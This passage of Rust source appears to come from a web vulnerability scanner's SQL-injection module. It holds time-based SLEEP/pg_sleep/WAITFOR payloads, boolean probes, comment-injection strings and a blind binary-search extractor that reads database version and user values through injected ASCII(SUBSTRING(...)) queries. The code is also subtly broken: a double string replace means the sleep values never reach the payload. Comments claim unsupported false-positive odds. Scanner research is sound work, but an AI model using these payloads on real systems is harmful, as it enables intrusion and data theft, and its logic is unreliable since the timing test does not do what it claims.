        let mut results: Vec<(String, u128)> = Vec::new();

        for (stream, label, _) in &mut streams {
            let read_start = std::time::Instant::now();
            let mut buf = [0u8; 1024];

            match tokio::time::timeout(
                tokio::time::Duration::from_secs(10),
                stream.read(&mut buf)
            ).await {
                Ok(Ok(_)) => {
                    let elapsed = read_start.elapsed().as_micros();
                    results.push((label.clone(), elapsed));
                }
                _ => {
                    results.push((label.clone(), 10_000_000));
                }
            }
        }

        Some(results)
    }

    /// Calibrated SLEEP Correlation Analysis
    ///
    /// Definitive SQLi proof via multi-value SLEEP timing correlation.
    ///
    /// Principle:
    /// - Send SLEEP(0), SLEEP(2), SLEEP(5) and measure response times
    /// - Calculate Pearson correlation between expected and actual delays
    /// - Correlation > 0.95 with correct slopes = CONFIRMED SQLi
    ///
    /// This is nearly as definitive as an OOB callback because:
    /// - False positive probability with 3+ calibrated points is < 0.001%
    /// - Network jitter affects all requests equally (doesn't change slope)
    /// - Only SQL execution can produce the correct linear relationship
    async fn analyze_calibrated_sleep(
        &self,
        base_url: &str,
        parameter: &str,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Define calibration points: (sleep_seconds, expected_delay_ms)
        let calibration_points: [(f64, &str); 5] = [
            (0.0, "0"),
            (1.0, "1"),
            (2.0, "2"),
            (3.0, "3"),
            (5.0, "5"),
        ];

        // SQL SLEEP payloads for different databases
        let sleep_templates: [(&str, &str); 4] = [
            ("MySQL", "{} AND SLEEP({})"),
            ("PostgreSQL", "{} AND pg_sleep({})"),
            ("MSSQL", "{}; WAITFOR DELAY '00:00:0{}'"),
            ("SQLite", "{} AND (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB({}00000)))))"),
        ];

        // Try each database type
        for (db_name, template) in &sleep_templates {
            let mut measurements: Vec<(f64, f64)> = Vec::new(); // (expected_ms, actual_ms)

            // Collect timing data for each calibration point
            for (sleep_secs, sleep_str) in &calibration_points {
                let payload = template
                    .replace("{}", &current_value)
                    .replace("{}", sleep_str);

                let url = self.build_test_url(base_url, parameter, &payload);

                // Take 3 samples per calibration point for stability
                let mut samples: Vec<f64> = Vec::new();
                for _ in 0..3 {
                    if let Ok(resp) = self.http_client.get(&url).await {
                        samples.push(resp.duration_ms as f64);
                    }
                }

                if samples.len() >= 2 {
                    // Use median to reduce outlier impact
                    samples.sort_by(|a, b| a.partial_cmp(b).unwrap());
                    let median = samples[samples.len() / 2];
                    measurements.push((*sleep_secs * 1000.0, median));
                }
            }

            if measurements.len() >= 3 {
                // Calculate Pearson correlation coefficient
                let correlation = self.pearson_correlation(&measurements);

                // Calculate slope (should be ~1.0 for SLEEP(n) = n seconds)
                let slope = self.linear_regression_slope(&measurements);

                // Calculate baseline (intercept) - the network overhead
                let baseline = self.linear_regression_intercept(&measurements, slope);

                // Verify the relationship is correct:
                // 1. High correlation (> 0.95)
                // 2. Slope approximately 1.0 (0.8 - 1.2 range for network variance)
                // 3. Response times increase with sleep values

                let is_valid_correlation = correlation > 0.95;
                let is_valid_slope = slope > 0.7 && slope < 1.5;
                let times_increase = measurements.last().map(|(_, t)| *t).unwrap_or(0.0)
                    > measurements.first().map(|(_, t)| *t).unwrap_or(f64::MAX);

                if is_valid_correlation && is_valid_slope && times_increase {
                    // Calculate probability based on correlation strength
                    let probability = if correlation > 0.99 {
                        0.999 // Near-certainty
                    } else if correlation > 0.98 {
                        0.995
                    } else if correlation > 0.95 {
                        0.98
                    } else {
                        0.9
                    };

                    signals.push(Signal::new(
                        SignalType::CalibratedSleep,
                        probability,
                        correlation,
                        &format!(
                            "CONFIRMED {} SQLi: SLEEP correlation r={:.4}, slope={:.2}, baseline={:.0}ms, points={}",
                            db_name, correlation, slope, baseline, measurements.len()
                        ),
                    ));

                    // One confirmed DB is enough
                    break;
                } else if correlation > 0.7 {
                    // Moderate correlation - possible but not confirmed
                    signals.push(Signal::new(
                        SignalType::CalibratedSleep,
                        0.75,
                        correlation,
                        &format!(
                            "Possible {} SQLi: SLEEP correlation r={:.3} (slope={:.2})",
                            db_name, correlation, slope
                        ),
                    ));
                }
            }
        }

        // Add negative evidence if no correlation found
        if signals.is_empty() {
            signals.push(Signal::new(
                SignalType::ConsistentBehavior,
                0.8,
                0.0,
                "No SLEEP correlation detected across database types",
            ));
        }

        signals
    }

    /// Calculate Pearson correlation coefficient
    fn pearson_correlation(&self, points: &[(f64, f64)]) -> f64 {
        if points.len() < 2 {
            return 0.0;
        }

        let n = points.len() as f64;
        let sum_x: f64 = points.iter().map(|(x, _)| x).sum();
        let sum_y: f64 = points.iter().map(|(_, y)| y).sum();
        let sum_xy: f64 = points.iter().map(|(x, y)| x * y).sum();
        let sum_x2: f64 = points.iter().map(|(x, _)| x * x).sum();
        let sum_y2: f64 = points.iter().map(|(_, y)| y * y).sum();

        let numerator = n * sum_xy - sum_x * sum_y;
        let denominator = ((n * sum_x2 - sum_x * sum_x) * (n * sum_y2 - sum_y * sum_y)).sqrt();

        if denominator.abs() < 1e-10 {
            return 0.0;
        }

        (numerator / denominator).clamp(-1.0, 1.0)
    }

    /// Calculate linear regression slope
    fn linear_regression_slope(&self, points: &[(f64, f64)]) -> f64 {
        if points.len() < 2 {
            return 0.0;
        }

        let n = points.len() as f64;
        let sum_x: f64 = points.iter().map(|(x, _)| x).sum();
        let sum_y: f64 = points.iter().map(|(_, y)| y).sum();
        let sum_xy: f64 = points.iter().map(|(x, y)| x * y).sum();
        let sum_x2: f64 = points.iter().map(|(x, _)| x * x).sum();

        let denominator = n * sum_x2 - sum_x * sum_x;
        if denominator.abs() < 1e-10 {
            return 0.0;
        }

        (n * sum_xy - sum_x * sum_y) / denominator
    }

    /// Calculate linear regression intercept
    fn linear_regression_intercept(&self, points: &[(f64, f64)], slope: f64) -> f64 {
        if points.is_empty() {
            return 0.0;
        }

        let n = points.len() as f64;
        let mean_x: f64 = points.iter().map(|(x, _)| x).sum::<f64>() / n;
        let mean_y: f64 = points.iter().map(|(_, y)| y).sum::<f64>() / n;

        mean_y - slope * mean_x
    }

    /// Blind Data Extraction via Boolean Oracle
    ///
    /// DEFINITIVE PROOF of SQL injection by extracting actual database content.
    ///
    /// Principle:
    /// - If BooleanDifferential shows we can distinguish true/false conditions
    /// - Use SUBSTRING(expression, pos, 1) to extract data character by character
    /// - Binary search on ASCII values for efficiency (7 requests per char)
    /// - Extract known canary data (@@version, user(), database())
    /// - If extracted data matches expected patterns → CONFIRMED SQLi
    ///
    /// This is equivalent to an OOB callback because:
    /// - We're extracting ACTUAL data from the database
    /// - The probability of false positive is 1/256^n where n = chars extracted
    /// - Even 4 chars = 1 in 4 billion chance of false positive
    async fn extract_data_proof(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // First verify we have a working boolean oracle
        let oracle = self.verify_boolean_oracle(base_url, parameter, &current_value, baseline).await;
        if !oracle.is_working {
            return signals;
        }

        // Targets to extract for different databases
        let extraction_targets: [(&str, &str, &str); 5] = [
            ("MySQL", "@@version", "5."),        // MySQL versions start with 5. or 8.
            ("MySQL", "user()", "@"),            // MySQL users contain @
            ("PostgreSQL", "version()", "PostgreSQL"),
            ("MSSQL", "@@version", "Microsoft"),
            ("SQLite", "sqlite_version()", "3."),
        ];

        for (db_name, expression, expected_prefix) in &extraction_targets {
            let extracted = self.extract_string_binary(
                base_url,
                parameter,
                &current_value,
                expression,
                &oracle,
                8, // Extract up to 8 chars for verification
            ).await;

            if extracted.len() >= 3 {
                let extracted_str: String = extracted.iter().collect();

                // Check if extracted data matches expected pattern
                let matches_expected = extracted_str.contains(expected_prefix)
                    || self.is_valid_version_string(&extracted_str);

                if matches_expected {
                    // DEFINITIVE PROOF: We extracted real data
                    let probability = if extracted.len() >= 6 {
                        0.9999 // 6+ chars = virtually certain
                    } else if extracted.len() >= 4 {
                        0.999  // 4+ chars = extremely high confidence
                    } else {
                        0.99   // 3 chars = very high confidence
                    };

                    signals.push(Signal::new(
                        SignalType::DataExtraction,
                        probability,
                        extracted.len() as f64,
                        &format!(
                            "CONFIRMED {} SQLi: Extracted {}='{}' ({} chars)",
                            db_name, expression, extracted_str, extracted.len()
                        ),
                    ));

                    // One successful extraction is definitive proof
                    return signals;
                } else if extracted.iter().all(|c| c.is_ascii_graphic() || *c == ' ') {
                    // Extracted printable data but doesn't match expected
                    // Still strong evidence but not definitive
                    signals.push(Signal::new(
                        SignalType::DataExtraction,
                        0.95,
                        extracted.len() as f64,
                        &format!(
                            "Likely {} SQLi: Extracted {}='{}' (unexpected format)",
                            db_name, expression, extracted_str
                        ),
                    ));
                }
            }
        }

        // Add negative evidence if extraction failed
        if signals.is_empty() && oracle.is_working {
            signals.push(Signal::new(
                SignalType::ConsistentBehavior,
                0.6,
                0.0,
                "Boolean oracle works but data extraction failed",
            ));
        }

        signals
    }

    /// Verify boolean oracle is working
    async fn verify_boolean_oracle(
        &self,
        base_url: &str,
        parameter: &str,
        current_value: &str,
        baseline: &HttpResponse,
    ) -> BooleanOracle {
        let true_payload = format!("{} AND 1=1", current_value);
        let false_payload = format!("{} AND 1=2", current_value);

        let true_url = self.build_test_url(base_url, parameter, &true_payload);
        let false_url = self.build_test_url(base_url, parameter, &false_payload);

        // Take multiple samples for stability
        let mut true_responses: Vec<HttpResponse> = Vec::new();
        let mut false_responses: Vec<HttpResponse> = Vec::new();

        for _ in 0..3 {
            if let Ok(resp) = self.http_client.get(&true_url).await {
                true_responses.push(resp);
            }
            if let Ok(resp) = self.http_client.get(&false_url).await {
                false_responses.push(resp);
            }
        }

        if true_responses.len() < 2 || false_responses.len() < 2 {
            return BooleanOracle { is_working: false, true_length: 0, false_length: 0, baseline_length: 0 };
        }

        // Calculate median lengths
        let mut true_lengths: Vec<usize> = true_responses.iter().map(|r| r.body.len()).collect();
        let mut false_lengths: Vec<usize> = false_responses.iter().map(|r| r.body.len()).collect();
        true_lengths.sort();
        false_lengths.sort();

        let true_length = true_lengths[true_lengths.len() / 2];
        let false_length = false_lengths[false_lengths.len() / 2];
        let baseline_length = baseline.body.len();

        // Oracle works if:
        // 1. True condition matches baseline (within 10%)
        // 2. False condition differs significantly (> 20% difference)
        let true_matches_baseline = ((true_length as f64 - baseline_length as f64).abs()
            / baseline_length.max(1) as f64) < 0.1;
        let false_differs = ((false_length as f64 - baseline_length as f64).abs()
            / baseline_length.max(1) as f64) > 0.2;

        BooleanOracle {
            is_working: true_matches_baseline && false_differs,
            true_length,
            false_length,
            baseline_length,
        }
    }

    /// Extract string using binary search on each character
    async fn extract_string_binary(
        &self,
        base_url: &str,
        parameter: &str,
        current_value: &str,
        expression: &str,
        oracle: &BooleanOracle,
        max_chars: usize,
    ) -> Vec<char> {
        let mut extracted: Vec<char> = Vec::new();

        for pos in 1..=max_chars {
            if let Some(ch) = self.extract_char_binary(
                base_url, parameter, current_value, expression, pos, oracle
            ).await {
                if ch == '\0' {
                    break; // End of string
                }
                extracted.push(ch);
            } else {
                break; // Extraction failed
            }
        }

        extracted
    }

    /// Extract single character using binary search on ASCII value
    async fn extract_char_binary(
        &self,
        base_url: &str,
        parameter: &str,
        current_value: &str,
        expression: &str,
        position: usize,
        oracle: &BooleanOracle,
    ) -> Option<char> {
        let mut low: u8 = 32;  // Space
        let mut high: u8 = 126; // Tilde

        while low <= high {
            let mid = (low + high) / 2;

            // Payload: AND ASCII(SUBSTRING(expression, pos, 1)) > mid
            let payload = format!(
                "{} AND ASCII(SUBSTRING({},{},1))>{}",
                current_value, expression, position, mid
            );
            let url = self.build_test_url(base_url, parameter, &payload);

            if let Ok(resp) = self.http_client.get(&url).await {
                let is_true = self.oracle_result(&resp, oracle);

                if is_true {
                    low = mid + 1;
                } else {
                    if mid == 0 {
                        return Some('\0');
                    }
                    high = mid - 1;
                }
            } else {
                return None;
            }
        }

        if low > 126 || low < 32 {
            return None;
        }

        Some(low as char)
    }

    /// Determine oracle result (true or false condition)
    fn oracle_result(&self, response: &HttpResponse, oracle: &BooleanOracle) -> bool {
        let resp_length = response.body.len();

        // Compare to known true/false response lengths
        let diff_to_true = (resp_length as i64 - oracle.true_length as i64).abs();
        let diff_to_false = (resp_length as i64 - oracle.false_length as i64).abs();

        // Closer to true response = true condition
        diff_to_true < diff_to_false
    }

    /// Check if extracted string looks like a valid version
    fn is_valid_version_string(&self, s: &str) -> bool {
        // Version strings typically contain digits and dots
        let has_digit = s.chars().any(|c| c.is_ascii_digit());
        let has_printable = s.chars().all(|c| c.is_ascii_graphic() || c == ' ');
        has_digit && has_printable && s.len() >= 2
    }

    /// Quote Cancellation Detection
    ///
    /// Tests if value'' returns same as value (escaped quote = original).
    /// This is a strong SQLi indicator because:
    /// - In SQL: 'test'' becomes 'test' (escaped quote)
    /// - Normal apps: test'' stays as test''
    async fn analyze_quote_cancellation(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "test".to_string());

        // Test: value'' should equal value if SQL escaping is applied
        let cancelled_payload = format!("{}''", current_value);
        let cancelled_url = self.build_test_url(base_url, parameter, &cancelled_payload);

        // Also test double-double: value'''' should equal value
        let double_cancelled = format!("{}''''", current_value);
        let double_url = self.build_test_url(base_url, parameter, &double_cancelled);

        let mut matches = 0;
        let mut total_tests = 0;

        // Test single cancellation
        for _ in 0..3 {
            if let Ok(resp) = self.http_client.get(&cancelled_url).await {
                total_tests += 1;
                let sim = self.calculate_similarity(baseline, &resp);
                if sim > 0.85 {
                    matches += 1;
                }
            }
        }

        // Test double cancellation
        for _ in 0..2 {
            if let Ok(resp) = self.http_client.get(&double_url).await {
                total_tests += 1;
                let sim = self.calculate_similarity(baseline, &resp);
                if sim > 0.85 {
                    matches += 1;
                }
            }
        }

        if total_tests >= 3 {
            let match_ratio = matches as f64 / total_tests as f64;

            if match_ratio > 0.6 {
                let probability = if match_ratio > 0.8 {
                    0.92 // Strong: most tests show cancellation
                } else {
                    0.78 // Moderate: some tests show cancellation
                };

                signals.push(Signal::new(
                    SignalType::QuoteCancellation,
                    probability,
                    match_ratio,
                    &format!(
                        "Quote cancellation: {}'' matches baseline ({}/{})",
                        current_value, matches, total_tests
                    ),
                ));
            }
        }

        signals
    }

    /// Comment Injection Detection
    ///
    /// Tests if value'-- returns same as value (comment terminates query).
    /// This is a classic SQLi indicator:
    /// - In SQL: 'test'-- comments out rest of query
    /// - Remaining query still executes normally
    async fn analyze_comment_injection(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "1".to_string());

        // Test comment styles for different databases
        let comment_payloads: [(&str, &str); 4] = [
            ("--", "SQL single-line"),
            ("-- ", "SQL single-line with space"),
            ("#", "MySQL hash comment"),
            ("/**/", "SQL block comment"),
        ];

        let mut detected_comments = Vec::new();

        for (comment, style) in &comment_payloads {
            let payload = format!("{}{}", current_value, comment);
            let url = self.build_test_url(base_url, parameter, &payload);

            let mut similarities: Vec<f64> = Vec::new();
            for _ in 0..3 {
                if let Ok(resp) = self.http_client.get(&url).await {
                    let sim = self.calculate_similarity(baseline, &resp);
                    similarities.push(sim);
                }
            }

            if similarities.len() >= 2 {
                let avg_sim: f64 = similarities.iter().sum::<f64>() / similarities.len() as f64;
                if avg_sim > 0.85 {
                    detected_comments.push((*style, avg_sim));
                }
            }
        }

        if !detected_comments.is_empty() {
            // Multiple comment styles working = stronger signal
            let probability = if detected_comments.len() >= 2 {
                0.95 // Multiple styles work
            } else {
                0.88 // Single style works
            };

            let styles: Vec<&str> = detected_comments.iter().map(|(s, _)| *s).collect();
            signals.push(Signal::new(
                SignalType::CommentInjection,
                probability,
                detected_comments.len() as f64,
                &format!(
                    "Comment injection: {} style(s) work ({})",
                    detected_comments.len(),
                    styles.join(", ")
                ),
            ));
        }

        signals
    }

    /// Compression Oracle Detection
    ///
    /// Detects information leakage via response compression (BREACH-style).
    /// If response is compressed, injecting guessed content that matches
    /// actual content will result in smaller responses.
    async fn analyze_compression_oracle(
        &self,
        base_url: &str,
        parameter: &str,
        baseline: &HttpResponse,
    ) -> Vec<Signal> {
        let mut signals = Vec::new();

        // Check if response is compressed
        let content_encoding = baseline.headers.get("content-encoding")
            .or_else(|| baseline.headers.get("Content-Encoding"));

        let is_compressed = content_encoding
            .map(|v| v.contains("gzip") || v.contains("deflate") || v.contains("br"))
            .unwrap_or(false);

        if !is_compressed {
            // No compression = no oracle
            return signals;
        }

        let current_value = self.extract_param_value(base_url, parameter)
            .unwrap_or_else(|| "test".to_string());

        // Test: inject values that might match content in response
        // If they match, compression will be better (smaller response)
        let test_payloads: [(&str, &str); 5] = [
            ("password", "common_keyword"),
            ("username", "common_keyword"),
            ("admin", "common_keyword"),
            ("secret", "common_keyword"),
            ("AAAAAAAAAA", "control_no_match"),
        ];

        let mut response_sizes: Vec<(&str, usize)> = Vec::new();

        for (guess, label) in &test_payloads {
            let payload = format!("{}{}", current_value, guess);
            let url = self.build_test_url(base_url, parameter, &payload);

            if let Ok(resp) = self.http_client.get(&url).await {
                response_sizes.push((label, resp.body.len()));
            }
        }

        if response_sizes.len() >= 4 {
            // Check if any common keywords produce smaller responses than control
            let control_size = response_sizes.iter()
                .find(|(l, _)| *l == "control_no_match")
                .map(|(_, s)| *s)
                .unwrap_or(baseline.body.len());

            let smaller_responses: Vec<_> = response_sizes.iter()
                .filter(|(l, s)| *l != "control_no_match" && *s < control_size - 10)
                .collect();

            if !smaller_responses.is_empty() {
                let probability = if smaller_responses.len() >= 2 {
                    0.85
                } else {
                    0.7
                };

                signals.push(Signal::new(
                    SignalType::Compression,
                    probability,
                    smaller_responses.len() as f64,
                    &format!(
                        "Compression oracle: {} keyword(s) produced smaller response",
                        smaller_responses.len()
                    ),
                ));
            }
        }

        signals
    }

    /// Bootstrap resampling for timing difference confidence interval
    fn bootstrap_timing_diff(&self, a: &[f64], b: &[f64], n_resamples: usize) -> Vec<f64> {
        use std::collections::hash_map::DefaultHasher;
        use std::hash::{Hash, Hasher};

        let mut diffs = Vec::with_capacity(n_resamples);

        for i in 0..n_resamples {
            // Simple deterministic "random" selection based on index
            let mut hasher = DefaultHasher::new();
            i.hash(&mut hasher);
            let seed = hasher.finish();

            let a_sample: Vec<f64> = (0..a.len())
                .map(|j| a[(seed as usize + j * 7) % a.len()])
                .collect();
            let b_sample: Vec<f64> = (0..b.len())
                .map(|j| b[(seed as usize + j * 13) % b.len()])
                .collect();

            let a_mean = a_sample.iter().sum::<f64>() / a_sample.len() as f64;
            let b_mean = b_sample.iter().sum::<f64>() / b_sample.len() as f64;
            diffs.push(b_mean - a_mean);
        }

        diffs
    }

    /// Calculate 95% confidence interval from bootstrap samples
    fn confidence_interval_95(&self, samples: &[f64]) -> (f64, f64) {
        if samples.is_empty() {
            return (0.0, 0.0);
        }

        let mut sorted = samples.to_vec();
        sorted.sort_by(|a, b| a.partial_cmp(b).unwrap());

        let low_idx = (samples.len() as f64 * 0.025) as usize;
        let high_idx = (samples.len() as f64 * 0.975) as usize;

        (
            sorted.get(low_idx).copied().unwrap_or(0.0),
            sorted.get(high_idx.min(sorted.len() - 1)).copied().unwrap_or(0.0),
        )
    }

    /// Calculate similarity between two responses (0.0 to 1.0)
    ///
    /// Unified similarity function with configurable weighting:
    /// - Status code match: 20-30% weight
    /// - Length ratio: 30-40% weight
    /// - Content hash: 30-50% weight (exact match detection)
    fn calculate_similarity(&self, a: &HttpResponse, b: &HttpResponse) -> f64 {
        // Length similarity: relative difference
        let len_a = a.body.len() as f64;
        let len_b = b.body.len() as f64;
        let len_ratio = 1.0 - (len_a - len_b).abs() / len_a.max(len_b).max(1.0);

        // Status code match
        let status_match = if a.status_code == b.status_code { 1.0 } else { 0.0 };

        // Content hash (structural similarity via FNV-1a)
        let hash_a = self.fnv1a_hash(&a.body);
        let hash_b = self.fnv1a_hash(&b.body);
        let hash_match = if hash_a == hash_b { 1.0 } else { 0.0 };

        // Weighted combination
        // If exact hash match, that's very strong evidence
        if hash_match > 0.5 {
            0.2 * status_match + 0.3 * len_ratio + 0.5 * hash_match
        } else {
            // No exact match - rely more on length and status
            0.3 * status_match + 0.5 * len_ratio + 0.2 * (if len_ratio > 0.95 { 1.0 } else { 0.0 })
        }
    }

    /// FNV-1a hash for structural content comparison
    fn fnv1a_hash(&self, s: &str) -> u64 {
        let mut h: u64 = 0xcbf29ce484222325; // FNV offset basis
        for b in s.bytes() {
            h ^= b as u64;
            h = h.wrapping_mul(0x100000001b3); // FNV prime
        }
        h
    }

    fn extract_param_value(&self, url: &str, param: &str) -> Option<String> {
        url::Url::parse(url).ok().and_then(|parsed| {
            parsed.query_pairs()
                .find(|(name, _)| name == param)
                .map(|(_, value)| value.to_string())
        })
    }

    fn build_test_url(&self, base_url: &str, param_name: &str, payload: &str) -> String {
        if let Ok(mut parsed) = url::Url::parse(base_url) {
            let existing: Vec<(String, String)> = parsed
                .query_pairs()
                .filter(|(name, _)| name != param_name)
                .map(|(n, v)| (n.to_string(), v.to_string()))
                .collect();

            parsed.set_query(None);
            {
                let mut qp = parsed.query_pairs_mut();
                for (name, value) in &existing {
                    qp.append_pair(name, value);
                }
                qp.append_pair(param_name, payload);
            }
            parsed.to_string()
        } else {
            format!("{}?{}={}", base_url, param_name, urlencoding::encode(payload))
        }
    }
}

/// Boolean oracle state for data extraction
#[derive(Debug, Clone)]
struct BooleanOracle {
    is_working: bool,
    true_length: usize,
    false_length: usize,
    baseline_length: usize,
}

/// Result of side-channel analysis
#[derive(Debug)]
pub struct SideChannelResult {
    pub url: String,
    pub parameter: String,
    pub combined: CombinedResult,
    pub all_signals: Vec<Signal>,
}

impl SideChannelResult {
    /// Is this likely a vulnerability?
    pub fn is_likely_vulnerable(&self) -> bool {
        self.combined.probability > 0.7 && self.combined.signals_used >= 2
    }

    /// Is this a confirmed vulnerability?
    pub fn is_confirmed(&self) -> bool {
        self.combined.probability > 0.9 && self.combined.signals_used >= 3
    }

    /// Get a summary for logging
    pub fn summary(&self) -> String {
        format!(
            "P={:.1}% confidence={} signals={}/{}\n{}",
            self.combined.probability * 100.0,
            self.combined.confidence,
            self.combined.signals_used,
            self.all_signals.len(),
            self.combined.explanation
        )
    }
}